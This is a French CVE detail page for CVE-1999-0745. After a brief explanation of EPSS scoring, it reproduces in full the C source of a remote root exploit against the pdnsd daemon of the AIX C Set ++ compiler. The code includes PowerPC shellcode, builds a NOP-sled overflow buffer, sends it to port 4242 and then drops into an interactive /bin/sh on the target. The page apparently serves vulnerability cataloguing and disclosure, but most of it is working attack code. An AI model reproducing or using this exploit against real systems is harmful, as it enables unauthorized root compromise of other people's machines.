CVE-1999-0745 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

// source: https://www.securityfocus.com/bid/3237/info The Source Code Browser's Program Database Name Server Daemon (pdnsd) component of the C Set ++ compiler for AIX contains a remotely exploitable buffer overflow. This vulnerability allows local or remote attackers to compromise root privileges on vulnerable systems. /*## copyright LAST STAGE OF DELIRIUM oct 1999 poland *://lsd-pl.net/ #*/ /*## pdnsd #*/ /* note: to avoid potential system hang-up please, first obtain the exact */ /* AIX OS level with the use of some OS fingerprinting method */ #include <sys/types.h> #include <sys/socket.h> #include <sys/time.h> #include <netinet/in.h> #include <netdb.h> #include <unistd.h> #include <stdio.h> #include <errno.h> #define ADRNUM 4000 #define NOPNUM 4800 #define ALLIGN 1 #define SCAIX41 "\x03\x68\x41\x5e\x6d\x7f\x6f\xd6\x57\x56\x55\x53" #define SCAIX42 "\x02\x71\x46\x62\x76\x8e\x78\xe7\x5b\x5a\x59\x58" char syscallcode[]= "\x7e\x94\xa2\x79" /* xor. r20,r20,r20 */ "\x40\x82\xff\xfd" /* bnel <syscallcode> */ "\x7e\xa8\x02\xa6" /* mflr r21 */ "\x3a\xc0\x01\xff" /* lil r22,0x1ff */ "\x3a\xf6\xfe\x2d" /* cal r23,-467(r22) */ "\x7e\xb5\xba\x14" /* cax r21,r21,r23 */ "\x7e\xa9\x03\xa6" /* mtctr r21 */ "\x4e\x80\x04\x20" /* bctr */ "\xff\xff\xff\xff" "\xff\xff\xff\xff" "\xff\xff\xff\xff" "\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */ "\x44\xff\xff\x02" /* svca 0x0 */ "\x3a\xb5\xff\xf8" /* cal r21,-8(r21) */ ; char findsckcode[]= "\x2c\x74\x12\x34" /* cmpi cr0,r20,0x1234 */ "\x41\x82\xff\xfd" /* beql <findsckcode> */ "\x7f\x08\x02\xa6" /* mflr r24 */ "\x3b\x36\xfe\x2d" /* cal r25,-467(r22) */ "\x3b\x40\x01\x01" /* lil r26,0x16 */ "\x7f\x78\xca\x14" /* cax r27,r24,r25 */ "\x7f\x69\x03\xa6" /* mtctr r27 */ "\x4e\x80\x04\x20" /* bctr */ "\xa3\x78\xff\xfe" /* lhz r27,-2(r24) */ "\xa3\x98\xff\xfa" /* lhz r28,-6(r24) */ "\x7c\x1b\xe0\x40" /* cmpl cr0,r27,r28 */ "\x3b\x36\xfe\x59" /* cal r25,-423(r22) */ "\x41\x82\xff\xe4" /* beq <findsckcode+20> */ "\x7f\x43\xd3\x78" /* mr r3,r26 */ "\x38\x98\xff\xfc" /* cal r4,-4(r24) */ "\x38\xb8\xff\xf4" /* cal r5,-12(r24) */ "\x93\x38\xff\xf4" /* st r25,-12(r24) */ "\x88\x55\xff\xf6" /* lbz r2,-10(r21) */ "\x7e\xa9\x03\xa6" /* mtctr r21 */ "\x4e\x80\x04\x21" /* bctrl */ "\x37\x5a\xff\xff" /* ai. r26,r26,-1 */ "\x2d\x03\xff\xff" /* cmpi cr2,r3,-1 */ "\x40\x8a\xff\xc8" /* bne cr2,<findsckcode+32> */ "\x40\x82\xff\xd8" /* bne <findsckcode+48> */ "\x3b\x36\xfe\x03" /* cal r25,-509(r22) */ "\x3b\x76\xfe\x02" /* cal r27,-510(r22) */ "\x7f\x23\xcb\x78" /* mr r3,r25 */ "\x88\x55\xff\xf7" /* lbz r2,-9(r21) */ "\x7e\xa9\x03\xa6" /* mtctr r21 */ "\x4e\x80\x04\x21" /* bctrl */ "\x7c\x7a\xda\x14" /* cax r3,r26,r27 */ "\x7e\x84\xa3\x78" /* mr r4,r20 */ "\x7f\x25\xcb\x78" /* mr r5,r25 */ "\x88\x55\xff\xfb" /* lbz r2,-5(r21) */ "\x7e\xa9\x03\xa6" /* mtctr r21 */ "\x4e\x80\x04\x21" /* bctrl */ "\x37\x39\xff\xff" /* ai. r25,r25,-1 */ "\x40\x80\xff\xd4" /* bge <findsckcode+100> */ ; char shellcode[]= "\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */ "\x40\x82\xff\xfd" /* bnel <shellcode> */ "\x7f\xe8\x02\xa6" /* mflr r31 */ "\x3b\xff\x01\x20" /* cal r31,0x120(r31) */ "\x38\x7f\xff\x08" /* cal r3,-248(r31) */ "\x38\x9f\xff\x10" /* cal r4,-240(r31) */ "\x90\x7f\xff\x10" /* st r3,-240(r31) */ "\x90\xbf\xff\x14" /* st r5,-236(r31) */ "\x88\x55\xff\xf4" /* lbz r2,-12(r21) */ "\x98\xbf\xff\x0f" /* stb r5,-241(r31) */ "\x7e\xa9\x03\xa6" /* mtctr r21 */ "\x4e\x80\x04\x20" /* bctr */ "/bin/sh" ; char nop[]="\x7f\xff\xfb\x78"; main(int argc,char **argv){ char buffer[10000],address[4],*b; int i,n,l,cnt,sck; struct hostent *hp; struct sockaddr_in adr; printf("copyright LAST STAGE OF DELIRIUM oct 1999 poland //lsd-pl.net/\n"); printf("pdnsd for AIX 4.1 4.2 PowerPC/POWER\n\n"); if(argc!=3){ printf("usage: %s address 41|42\n",argv[0]);exit(-1); } switch(atoi(argv[2])){ case 41: memcpy(&syscallcode[32],SCAIX41,12); break; case 42: memcpy(&syscallcode[32],SCAIX42,12); break; default: exit(-1); } sck=socket(AF_INET,SOCK_STREAM,0); adr.sin_family=AF_INET; adr.sin_port=htons(4242); if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){ if((hp=gethostbyname(argv[1]))==NULL){ errno=EADDRNOTAVAIL;perror("error");exit(-1); } memcpy(&adr.sin_addr.s_addr,hp->h_addr,4); } if(connect(sck,(struct sockaddr*)&adr,sizeof(struct sockaddr_in))<0){ perror("error");exit(-1); } l=ADRNUM+NOPNUM+strlen(shellcode); *((unsigned long*)address)=htonl(0x2ff20908+(NOPNUM>>1)); i=sizeof(struct sockaddr_in); if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){ struct netbuf {unsigned int maxlen;unsigned int len;char *buf;}nb; ioctl(sck,(('S'<<8)|2),"sockmod"); nb.maxlen=0xffff; nb.len=sizeof(struct sockaddr_in);; nb.buf=(char*)&adr; ioctl(sck,(('T'<<8)|144),&nb); } n=ntohs(adr.sin_port); printf("port=%d connected! ",n);fflush(stdout); findsckcode[0+2]=(unsigned char)((n&0xff00)>>8); findsckcode[0+3]=(unsigned char)(n&0xff); b=buffer; *((unsigned long*)b)=htonl(l); b+=4; for(i=0;i<NOPNUM;i++) *b++=nop[i%4]; for(i=0;i<strlen(syscallcode);i++) *b++=syscallcode[i]; for(i=0;i<strlen(findsckcode);i++) *b++=findsckcode[i]; for(i=0;i<strlen(shellcode);i++) *b++=shellcode[i]; for(i=0;i<ALLIGN;i++) *b++=address[i%4]; for(i=0;i<ADRNUM;i++) *b++=address[i%4]; *b=0; write(sck,buffer,4+l-1);sleep(3); send(sck,"x",1,0); printf("sent!\n"); write(sck,"/bin/uname -a\n",14); while(1){ fd_set fds; FD_ZERO(&fds); FD_SET(0,&fds); FD_SET(sck,&fds); if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){ int cnt; char buf[1024]; if(FD_ISSET(0,&fds)){ if((cnt=read(0,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(sck,buf,cnt); } if(FD_ISSET(sck,&fds)){ if((cnt=read(sck,buf,1024))<1){ if(errno==EWOULDBLOCK||errno==EAGAIN) continue; else break; } write(1,buf,cnt); } } } }